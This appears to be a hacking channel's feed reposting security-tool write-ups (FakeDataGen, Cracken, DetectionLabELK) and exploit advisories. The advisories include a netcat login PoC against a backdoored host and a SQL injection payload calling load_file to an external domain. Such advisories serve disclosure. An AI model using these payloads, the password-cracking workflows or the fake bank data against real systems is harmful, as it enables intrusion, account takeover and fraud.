Simple CTF- TryHackme

CTFContinue reading on System Weakness »
Read more...

Kali Linux Tutorials
FakeDataGen : Full Valid Fake Data Generator

FakeDataGen is a Full Valid Fake Data Generator.

This tool helps you to create fake accounts (in Spanish format) with fully valid data. Within this information, you can find the most common names, emails, bank details and other useful information.

Requirements

* Python 3
* Install requirements.txt

Download

It is recommended to clone the complete repository or download the zip file. You can do this by running the following command:

git clone https://github.com/JoelGMSec/FakeDataGen

Usage

./FakeDataGen.py -h _ _ | |_ | | | _ \ _ | |_ _ / | _ _
| |_ / | |/ / _ \ | | |/ _| / ` | | _ / _ \ ‘_ \
| | (| | < / || | (| | || (| | || | / | | | || _,||__|/ _,|___,|_|__|| ||
usage: FakeDataGen.py [-h] [-n NUMBER] [-b] [-e] [-f FILE] [-z] [-p PASSWORD]
optional arguments:
-h, –help show this help message and exit
-n NUMBER, –number NUMBER
The number of records should be created
-b, –bankdata Show only bank data (Card, CVV, IBAN..)
-e, –extended Show only extended info (City, Phone, SS..)
-f FILE, –file FILE File path to save data
-z, –zip Compress data to zip file
-p PASSWORD, –password PASSWORD
Password to protect zip file
Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Cracken : A Fast Password Wordlist Generator, Smartlist Creation And Password Hybrid-Mask Analysis Tool

Cracken is a fast password wordlist generator, Smartlist creation and password hybrid-mask analysis tool written in pure safe Rust (more on talk/). Inspired by great tools like maskprocessor, hashcat, Crunch and  HuggingFace’s tokenizers. What? Why? Woot??

At DeepSec2021 we presented a new method for analysing passwords as Hybrid-Masks exploiting common substrings in passwords by utilizing NLP tokenizers (more info on talk/).

Our method splits a password into its subwords instead of just a characters mask. HelloWorld123!splitted into ['Hello', 'World', '123!']as these three subwords are very common in other passwords. Hybrid Masks & Smartlists

* Smartlists – Compact & representative subword lists created from passwords by utilizing NLP tokenizers
* Hybrid-Mask – A representation of a password as a combination of wordlists & characters (e.g. ?w1?w2?l?d) Analyzing RockYou Passwords with Smartlists & Hybrid-Masks:https://blogger.googleusercontent.com/img/a/AVvXsEhdw7aYM7PSpZpyAxj2u-4S4xa-RtKa2wSJELWr9JAmyn2JAgSWsLl_xYP6-dN2oJGX6JJ286GFvc10yWoTP4uLGiJqBKQ_GwXink27LFP4BQZsNmY6zn_ZSTZdiuz9LjtH2oyKQyAcVq8X-VjvGTXQcIg22DfpSx5afDzr7mrC-ucCdPry8Nfw60CZ=s1236
Cracken  is used for

* https://s.w.org/images/core/emoji/13.1.0/72x72/2705.png Generating Hybrid-Masksvery VERY FAST  (see performance section)
* https://s.w.org/images/core/emoji/13.1.0/72x72/2705.png Building Smartlists– compact & representative list of subwords from given passwords files (using  HuggingFace’s tokenizers)
* https://s.w.org/images/core/emoji/13.1.0/72x72/2705.png Analyzing passwords for their Hybrid-Masks– building statistics for better password candidates (again very fast) Possible workflows with Cracken Simple

1. Generate wordlist candidates from a hybrid mask – e.g. cracken -w rockyou.txt -w 100-most-common.txt '?w1?w2?d?d?d?d?s'2. You can pipe the passwords Cracken generates into hashcat, johnor your favorite password cracker Advanced

1. Create a Smartlist from existing passwords – cracken create2. Analyze a passwords list of plaintext passwords – cracken entropy3. use most frequent Hybrid-Masksto generate password candidates fast – cracken generate -i hybrid-masks.txtFor more details see Usage section

Getting Started

download (linux only currently): latest release

for more installation options see installationsection

run Cracken:

generate all words of length 8 starting with uppercase followed by 6 lowercase chars and then a digit:

$ cracken -o pwdz.lst ‘?u?l?l?l?l?l?l?d’

generate words from two wordlists with year suffix (1000-2999) $ cracken –wordlist firstnames.txt –wordlist lastnames.lst –charset ’12’ ‘?w1?w2?1?d?d?d’

create a Smartlist of size 50k from subwords extracted from rockyou.txt

$ cracken create -f rockyou.txt -m 50000 –smartlist smart.lst

estimate the entropy of hybrid mask of the password HelloWorld123! using a smartlist

$ cracken entropy -f smart.lst ‘HelloWorld123!’
hybrid-min-split: [“hello”, “world1”, “2”, “3”, “!”]
hybrid-mask: ?w1?w1?d?d?s
hybrid-min-entropy: 42.73
charset-mask: ?l?l?l?l?l?l?l?l?l?l?d?d?d?s
charset-mask-entropy: 61.97

Performance

As of writing this, Cracken is probably the world’s fastest wordlist generator:

Cracken has around 25% increased performance over hashcat’s fast maskprocessor thats written in C.

Cracken can generate around 2 GB/s per core.

more details on benchmarks

Why speed is important? A typical GPU can test billions passwords per second depending on the password hash function. When the wordlist generato[...]

___________________________
@hacking_Attack
@Hacking_Video

r produces fewer words per second than the cracking tool can handle – the cracking speed will degrade. Hybrid-Masks Analysis Performance

Cracken uses A*algorithm to analyze passwords very fast. it can find the minimal Hybrid-Mask of passwords file at rate of ~100k Passwords/sec (cracken entropy -f words1.txt -f words2.txt ... -p pwds.txt) Installation

install Cracken or compile from source Download Binary (Linux Only Currently)

download latest release from releases Build From Source (All Platforms)

Cracken is written in Rust and needs rustc to get compiled. Cracken should support all Platforms that Rust support.

installation instructions for cargo there are two options building from source – installing with cargo from crates.io (preferred) or compiling manually from source.

install from crates.io (preferred)

install with cargo

$ cargo install cracken

build from source

clone Cracken:

$ git clone https://github.com/shmuelamar/cracken

build Cracken:

$ cd cracken
$ cargo build –release

run it:

$ ./target/release/cracken –help

Usage Info

$ cracken –help
Cracken v1.0.0 – a fast password wordlist generator
USAGE:
cracken [SUBCOMMAND]
FLAGS:
-h, –help Prints help information
-V, –version Prints version information
SUBCOMMANDS:
generate (default) – Generates newline separated words according to given mask and wordlist files
create Create a new smartlist from input file(s)
entropy
Computes the estimated entropy of password or password file.
The entropy of a password is the log2(len(keyspace)) of the password.
There are two types of keyspace size estimations:
mask – keyspace of each char (digit=10, lowercase=26…).
hybrid – finding minimal split into subwords and charsets.
For specific subcommand help run: cracken –help
Example Usage:
Generate Subcommand Examples:
all digits from 00000000 to 99999999
cracken ?d?d?d?d?d?d?d?d
all digits from 0 to 99999999
cracken -m 1 ?d?d?d?d?d?d?d?d
words with pwd prefix – pwd0000 to pwd9999
cracken pwd?d?d?d?d
all passwords of length 8 starting with upper then 6 lowers then digit
cracken ?u?l?l?l?l?l?l?d
same as above, write output to pwds.txt instead of stdout
cracken -o pwds.txt ?u?l?l?l?l?l?l?d
custom charset – all hex values
cracken -c 0123456789abcdef ‘?1?1?1?1’
4 custom charsets – the order determines the id of the charset
cracken -c 01 -c ab -c de -c ef ‘?1?2?3?4’
4 lowercase chars with years 2000-2019 suffix
cracken -c 01 ‘?l?l?l?l20?1?d’
starts with firstname from wordlist followed by 4 digits
cracken -w firstnames.txt ‘?w1?d?d?d?d’
starts with firstname from wordlist with lastname from wordlist ending with symbol
cracken -w firstnames.txt -w lastnames.txt -c ‘!@#$’ ‘?w1?w2?1’
repeating wordlists multiple times and combining charsets
cracken -w verbs.txt -w nouns.txt ‘?w1?w2?w1?w2?w2?d?d?d’
Create Smartlists Subcommand Examples:
create smartlist from single file into smart.txt
cracken create -f rockyou.txt –smartlist smart.txt
create smartlist from multiple files with multiple tokenization algorithms
cracken create -t bpe -t unigram -t wordpiece -f rockyou.txt -f passwords.txt -f wikipedia.txt –smartlist smart.txt
create smartlist with minimum subword length of 3 and max numbers-only subwords of size 6
cracken create -f rockyou.txt –min-word-len 3 –numbers-max-size 6 –smartlist smart.txt
Entropy Subcommand Examples:
estimating entropy of a password
cracken entropy –smartlist vocab.txt ‘helloworld123!’
estimating entropy of a passwords file with a charset mask entropy (default is hybrid)
cracken entropy –smartlist vocab.txt -t charset -p passwords.txt
estimating the entropy of a passwords file
cracken entropy –smartlist vocab.txt -p passwords.txt
cracken-v1.0.0 linux-x86_64 compiler: rustc 1.56.1 (59eed8a2a 2021-11-01)
more info at: https://github.com/shmuelamar/cracken

Generate Subcommand Usage Info

$ cracken generate –help
cracken-generate
(def[...]

___________________________
@hacking_Attack
@Hacking_Video

ault) – Generates newline separated words according to given mask and wordlist files
USAGE:
cracken generate [FLAGS] [OPTIONS] –masks-file
FLAGS:
h, –help
Prints help information
s, –stats
prints the number of words this command will generate and exits
V, –version
Prints version information
OPTIONS:
c, –custom-charset …
custom charset (string of chars). up to 9 custom charsets – ?1 to ?9. use ?1 on the mask for the first charset
i, –masks-file
a file containing masks to generate
x, –maxlen
maximum length of the mask to start from
m, –minlen
minimum length of the mask to start from
-o, –output-file
output file to write the wordlist to, defaults to stdout
-w, –wordlist …
filename containing newline (0xA) separated words. note: currently all wordlists loaded to memory
ARGS:
the wordlist mask to generate.
available masks are:
builtin charsets:
?d – digits: “0123456789”
?l – lowercase: “abcdefghijklmnopqrstuvwxyz”
?u – uppercase: “ABCDEFGHIJKLMNOPQRSTUVWXYZ”
?s – symbols: ” !\”#$%&'()*+,-./:;<=?@[\]^_`{|}~”
?a – all characters: ?d + ?l + ?u + ?s
?b – all binary values: (0-255)
custom charsets ?1 to ?9:
?1 – first custom charset specified by –charset ‘mychars’
wordlists ?w1 to ?w9:
?w1 – first wordlist specified by –wordlist ‘my-wordlist.txt’

Create Smartlist Subcommand Usage Info

$ cracken create –help
cracken-create
Create a new smartlist from input file(s)
USAGE:
cracken create [FLAGS] [OPTIONS] –file … –smartlist
FLAGS:
-h, –help Prints help information
-q, –quiet disables printing progress bar
-V, –version Prints version information
OPTIONS:
-f, –file … input filename, can be specified multiple times for multiple files
–min-frequency minimum frequency of a word, relevant only for BPE tokenizer
-l, –min-word-len filters words shorter than the specified length
–numbers-max-size filters numbers (all digits) longer than the specified size
-o, –smartlist output smartlist filename
-t, –tokenizer … tokenizer to use, can be specified multiple times.
one of: bpe,unigram,wordpiece [default: bpe] [possible values: bpe, unigram, wordpiece]
-m, –vocab-max-size max vocabulary size

Entropy Subcommand Usage Info

$ cracken entropy –help
cracken-entropy
Computes the estimated entropy of password or password file.
The entropy of a password is the log2(len(keyspace)) of the password.
There are two types of keyspace size estimations:
mask – keyspace of each char (digit=10, lowercase=26…).
hybrid – finding minimal split into subwords and charsets.
USAGE:
cracken entropy [FLAGS] [OPTIONS] –smartlist …
FLAGS:
-h, –help Prints help information
-s, –summary output summary of entropy for password
-V, –version Prints version information
OPTIONS:
-t, –mask-type type of mask to output, one of: charsets(charsets only), hybrid(charsets+wordlists) [possible values: hybrid, charset]
-p, –passwords-file newline separated password file to estimate entropy for
-f, –smartlist … smartlist input file to estimate entropy with, a newline separated text file
ARGS:
password to Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
DetectionLabELK : A Fork From DetectionLab With ELK Stack Instead Of Splunk

DetectionLabELK is the perfect lab to use if you would like to build effective detection capabilities. It has been designed with defenders in mind. Its primary purpose is to allow blueteams to quickly build a Windows domain that comes pre-loaded with security tooling and some best practices when it comes to system logging configurations. It can easily be modified to fit most needs or expanded to include additional hosts. Use cases

A popular use case for DetectionLabELK is when you consider adopting MITRE ATT&CK framework and would like to develop detections for its tactics. You can use DetectionLabELK to quickly run atomic tests, see what logs are being generated and compare it to your production environment. This way you can:

* Validate that your production logging is working as expected.
* Ensure that your SIEM is collecting the correct events.
* Enhance alerts quality by reducing false positives and eliminating false negatives.
* Minimize coverage gaps. Lab Information

* Domain Name: windomain.local
* Windows Admininstrator login: vagrant:vagrant
* Fleet login: https://192.168.38.105:8412 – vagrant:vagrant
* Kibana login: http://192.168.38.105:5601 – vagrant:vagrant
* Microsoft ATA login: https://192.168.38.103 – vagrant:vagrant
* Guacamole login: http://192.168.38.105:8080/guacamole – vagrant:vagrant
* Velociraptor: https://192.168.38.105:9999 – vagrant:vagrant Primary Lab Features

* Microsoft Advanced Threat Analytics is installed on the WEF machine, with the lightweight ATA gateway installed on the DC
* Windoes Evenet forwarder along with Winlogbeat are pre-installed and all indexes are pre-created on ELK. Technology add-ons for Windows are also preconfigured.
* A custom Windows auditing configuration is set via GPO to include command line process auditing and additional OS-level logging
* Palantir’s Windows Event Forwarding subscriptions and custom channels are implemented
* Powershell transcript logging is enabled. All logs are saved to \\wef\pslogs* osquery comes installed on each host and is pre-configured to connect to a Fleet server via TLS. Fleet is preconfigured with the configuration from Palantir’s osquery Configuration
* Sysmon is installed and configured using Olaf’s open-sourced configuration
* All autostart items are logged to Windows Event Logs via AutorunsToWinEventLog
* SMBv1 Auditing is enabled Lab Hosts

1. DC – Windows 2016 Domain Controller
* WEF Server Configuration GPO
* Powershell logging GPO
* Enhanced Windows Auditing policy GPO
* Sysmon
* osquery
* Elastic Beats Forwarder (Forwards Sysmon & osquery)
* Sysinternals Tools
* Microsft Advanced Threat Analytics Lightweight Gateway

2. WEF – Windows 2016 Server
* Microsoft Advanced Threat Analytics
* Windows Event Collector
* Windows Event Subscription Creation
* Powershell transcription logging share
* Sysmon
* osquery
* Elastic Beats Forwarder (Forwards WinEventLog & Powershell & Sysmon & osquery)
* Sysinternals tools

3. Win10 – Windows 10 Workstation
* Simulates employee workstation
* Sysmon
* osquery
* Sysinternals Tools

4. Logger – Ubuntu 18.04
* Kibana
* Fleet osquery Manager
* Bro
* Suricata
* Elastic Beats Forwarder (Forwards Bro logs & Suricata & osquery)
* Guacamole
* Velociraptor Requirements

* 55GB+ of free disk space
* 16GB+ of RAM
* Vagrant 2.2.2 or newer
* Virtualbox Deployment Options

1. Use Vagrant Cloud Boxes – ETA ~2 hours.
* Install Vagrant on your system.
* Install Packer on your system.
* Install the Vagrant-Reload plugin by running the following command: vagrant plugin install vagrant-reload.
* Download DetectionLabELK to your local machine by running git clone https://github.com/cyberdefenders/DetectionLabELK.gitfrom command line OR do[...]

___________________________
@hacking_Attack
@Hacking_Video

wnload it directly via this link.
* cdto “DetectionLabELK/Vagrant” and execute vagrant up.

2. Build Boxes From Scratch – ETA ~5 hours.
* Install Vagrant on your system.
* Install Packer on your system.
* Install “Vagrant-Reload” plugin by running the following command: vagrant plugin install vagrant-reload.
* Download DetectionLabELK to your local machine by running git clone https://github.com/cyberdefenders/DetectionLabELK.gitfrom command line OR download it directly via this link.
* cdto “DetectionLabELK” base directory and build the lab by executing ./build.sh virtualbox(Mac & Linux) or ./build.ps1 virtualbox(Windows). Download

___________________________
@hacking_Attack
@Hacking_Video

Simple CTF- TryHackme
https://systemweakness.com/simple-ctf-tryhackme-eebd0254865c?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

CTFContinue reading on System Weakness » (https://systemweakness.com/simple-ctf-tryhackme-eebd0254865c?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Wollf.16 Hardcoded Credential

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Banco Guayaquil 8.0.0 Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Wollf.16 Authentication Bypass

https://4.bp.blogspot.com/-I-n26yI3Cmk/WWlvWxoCyUI/AAAAAAAAIOM/Fl6K91g5v_sGMssa7qzCkbxeapM4aUyUACLcBGAs/s1600/h50.png
Backdoor.Win32.Wollf.16 malware suffers from an authentication bypass vulnerability.

MD5 | a6064aef3963aa3ad1d965feafc34c41

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/204613443e555f73237ea43a2faecaa5.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.16
Vulnerability: Authentication Bypass
Description: The malware listens on TCP port 1015 and has an FTPD feature that when enabled listens on TCP port 21. Third-party attackers who can reach an infected system can logon using any username/password combination.
Type: PE32
MD5: 204613443e555f73237ea43a2faecaa5
Vuln ID: MVID-2022-0462
Dropped files: ddradmin.exe
Disclosure: 01/20/2022

Exploit/PoC:
nc64.exe x.x.x.x 21
220 Welcome to X-Ftp server ...
USER malvuln
331 User name okay, need password.
PASS malvuln
230 User logged in, proceed.

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Online Project Time Management 1.0 SQL Injection

https://1.bp.blogspot.com/-oHWy7Hh5Fq0/WWlvjd6DOFI/AAAAAAAAIQk/2SpYZjutgb8xmw4nQNmHjmGkgvDsryz_gCLcBGAs/s1600/h93.png
Online Project Time Management version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 29db9e4141f52450f2461938b5b01425

Download
## Title: Online Project Time Management 1.0 Multiple SQL - Injections
## Author: nu11secur1ty
## Date: 01.20.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/15136/online-project-time-management-system-phpoop-free-source-code.html

## Description:
The pid parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\zvy9qc1hwmbswes0cz4uctw9a0gt4l59wck37uvj.sourcecodester.com\\axz'))+'
was submitted in the pid parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed.
The attacker can take account control of all accounts plus an
administrator account on this system.
Status: CRITICAL

[+] Payload:

```mysql
---
Parameter: pid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=reports/date_wise&pid=1'+(select
load_file('\\\\zvy9qc1hwmbswes0cz4uctw9a0gt4l59wck37uvj.sourcecodester.com\\axz'))+''
AND (SELECT 8887 FROM (SELECT(SLEEP(3)))JQmk) AND 'htCu'='htCu
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/2022/Online-Project-Time-Management)

## Proof and Exploit:
[href](https://streamable.com/ucyq64)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video